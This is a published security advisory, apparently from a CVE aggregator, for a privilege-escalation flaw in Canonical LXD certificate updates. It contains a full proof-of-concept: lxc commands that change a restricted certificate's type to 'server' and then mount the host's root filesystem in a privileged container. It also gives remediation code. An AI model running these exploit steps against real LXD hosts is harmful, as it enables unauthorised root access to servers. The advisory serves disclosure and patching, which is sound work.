CVE-2026-34179: Update of type field in restricted TLS certificate allows privilege escalation to cluster admin

Published Apr 9, 2026
·
Updated

Summary

A restricted TLS certificate user can escalate to cluster admin by changing their certificate type from client to server via PUT/PATCH to /1.0/certificates/{fingerprint}. The non-admin guard and reset block in doCertificateUpdate fail to validate or reset the Type field, allowing a caller-supplied value to persist to the database. The modified certificate is matched as a server certificate during TLS authentication, granting ProtocolCluster with full admin privileges.

Details

doCertificateUpdate in lxd/certificates.go handles PUT/PATCH requests to /1.0/certificates/{fingerprint} for both privileged and unprivileged callers. The access handler is allowAuthenticated, so any trusted TLS user (including restricted) can reach this code.

For unprivileged callers (restricted users who fail the EntitlementCanEdit check at line 975), two defenses are intended to prevent field tampering:

1. The guard block validates that Restricted, Name, and Projects match the original database record. Does not check Type. go // Ensure the user in not trying to change fields other than the certificate. if dbInfo.Restricted != req.Restricted || dbInfo.Name != req.Name || len(dbInfo.Projects) != len(req.Projects) { return response.Forbidden(errors.New("Only the certificate can be changed")) }

2. The reset block rebuilds the dbCert struct using original values for Restricted, Name, and Certificate. Uses reqDBType (caller-supplied) for Type instead of the original dbInfo type. go // Reset dbCert in order to prevent possible future security issues. dbCert = dbCluster.Certificate{ Certificate: dbInfo.Certificate, Fingerprint: dbInfo.Fingerprint, Restricted: dbInfo.Restricted, Name: dbInfo.Name, Type: reqDBType, }

This allows the attacker to update the Type field of their own certificate from client to server, bypassing the authorization controls and escalating to cluster admin.

PoC

Tested on lxd 6.7.

As admin, create restricted project and restricted certificate: bash Create restricted project lxc project create poc-restricted -c restricted=true lxc profile device add default root disk path=/ pool=default --project poc-restricted lxc profile device add default eth0 nic network=lxdbr0 --project poc-restricted

Add client certificate lxc config trust add --restricted --projects poc-restricted --name poc-user pass token to user

As restricted user: bash Add token lxc remote add target <token>

Confirm we can only see the poc-restricted project lxc project list target:

Confirm we can't unrestrict the project lxc project set target:poc-restricted restricted=false

Get own certificate fingerprint fp=$(lxc query target:/1.0/certificates | jq -r '.[0]')

Update the type of certificate to server lxc query -X PATCH -d '{ "type": "server" }' target:$fp or lxc query -X PUT -d '{ "type": "server", "name": "poc-user", "restricted": true, "projects": ["poc-restricted"], "certificate": "" }' target:$fp

Confirm type is 'server' lxc config trust list target:

Set project to restricted=false lxc project set target:poc-restricted restricted=false

Start privileged container (and escape to root) lxc init ubuntu:24.04 target:privileged -c security.privileged=true lxc config device add target:privileged hostfs disk source=/ path=/mnt/host lxc start target:privileged

Impact

Privilege escalation from restricted TLS certificate user (project-scoped) to cluster admin.

Cluster admin can create privileged containers (security.privileged=true) or pass raw LXC config (raw.lxc), which provides root-level access to the host, leading to full host compromise.

The attack requires a single PUT/PATCH request. The escalation is persistent and takes effect immediately after the identity cache refresh. The change in permissions is not logged.

Affects any LXD deployment using legacy restricted TLS certificates (/1.0/certificates API).

Suggested remediation

1. Add Type to the guard check at line 992:

go if dbInfo.Restricted != req.Restricted || dbInfo.Name != req.Name || dbInfo.Type != req.Type || len(dbInfo.Projects) != len(req.Projects) {

2. Use the original type in the reset block at line 1008:

go origDBType, err := certificate.FromAPIType(dbInfo.Type) if err != nil { return response.InternalError(err) }

dbCert = dbCluster.Certificate{ Certificate: dbInfo.Certificate, Fingerprint: dbInfo.Fingerprint, Restricted: dbInfo.Restricted, Name: dbInfo.Name, Type: origDBType, }

Patches

| LXD Series | Interim release | | ------------- | ------------- | | 6 | https://discourse.ubuntu.com/t/lxd-6-7-interim-snap-release-6-7-d814d89/79251/1 | | 5.21 | https://discourse.ubuntu.com/t/lxd-5-21-4-lts-interim-snap-release-5-21-4-aee7e08/79249/1 | | 5.0 | https://discourse.ubuntu.com/t/lxd-5-0-6-lts-interim-snap-release-5-0-6-7fc3b36/79248/1 | | 4.0 | https://discourse.ubuntu.com/t/lxd-4-0-10-lts-interim-snap-release-4-0-10-e92d947/79247/1 |

Other sources

In Canonical LXD versions 4.12 through 6.7, the doCertificateUpdate function in lxd/certificates.go does not validate the Type field when handling PUT/PATCH requests to /1.0/certificates/{fingerprint} for restricted TLS certificate users, allowing a remote authenticated attacker to escalate privileges to cluster admin.

NVD

Affected Software

4 affected components
go/github.com/canonical/lxd>=0.0.0-20210305023314-538ac3df036e<=0.0.0-20260226085519-736f34afb267
Canonical LXD>=4.12<=5.0.6
Canonical LXD>=5.21.0<=5.21.4
Canonical LXD>=6.0<=6.7

Event History

Apr 9, 2026
CVE Published
via MITRE·09:22 AM
Data Sourced
via MITRE·09:22 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·10:16 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·10:16 AM
RemedyAffected Software
Apr 10, 2026
Advisory Published
via GitHub·07:20 PM
Data Sourced
via GitHub·07:20 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-34179?

CVE-2026-34179 is classified as a critical vulnerability due to the potential for privilege escalation to cluster admin.

2

How do I fix CVE-2026-34179?

To remediate CVE-2026-34179, update your Canonical LXD installation to a version that is not affected, specifically beyond the vulnerable ranges.

3

What versions of Canonical LXD are affected by CVE-2026-34179?

CVE-2026-34179 affects Canonical LXD versions from 4.12 to 5.0.6 and versions between 5.21.0 and 5.21.4, as well as versions from 6.0 to 6.7.

4

What exploit does CVE-2026-34179 enable?

CVE-2026-34179 enables restricted TLS certificate users to escalate their privileges to cluster admin by changing their certificate type.

5

Who is impacted by CVE-2026-34179?

Users of restricted TLS certificates in vulnerable versions of Canonical LXD are impacted by CVE-2026-34179.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203